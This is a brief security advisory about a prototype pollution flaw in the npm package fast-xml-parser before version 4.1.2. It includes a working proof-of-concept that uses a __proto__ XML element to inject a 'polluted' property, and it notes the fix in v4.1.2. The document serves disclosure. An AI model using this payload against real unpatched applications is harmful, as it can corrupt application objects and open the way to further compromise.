fast-xml-parser before 4.1.2 allows __proto__ for Prototype Pollution.

Affected: npm: fast-xml-parser

```js const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");

let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"

const parser = new XMLParser(); let jObj = parser.parse(XMLdata);

console.log(jObj.polluted) // should return hacked ```

### Patches The problem has been patched in v4.1.2
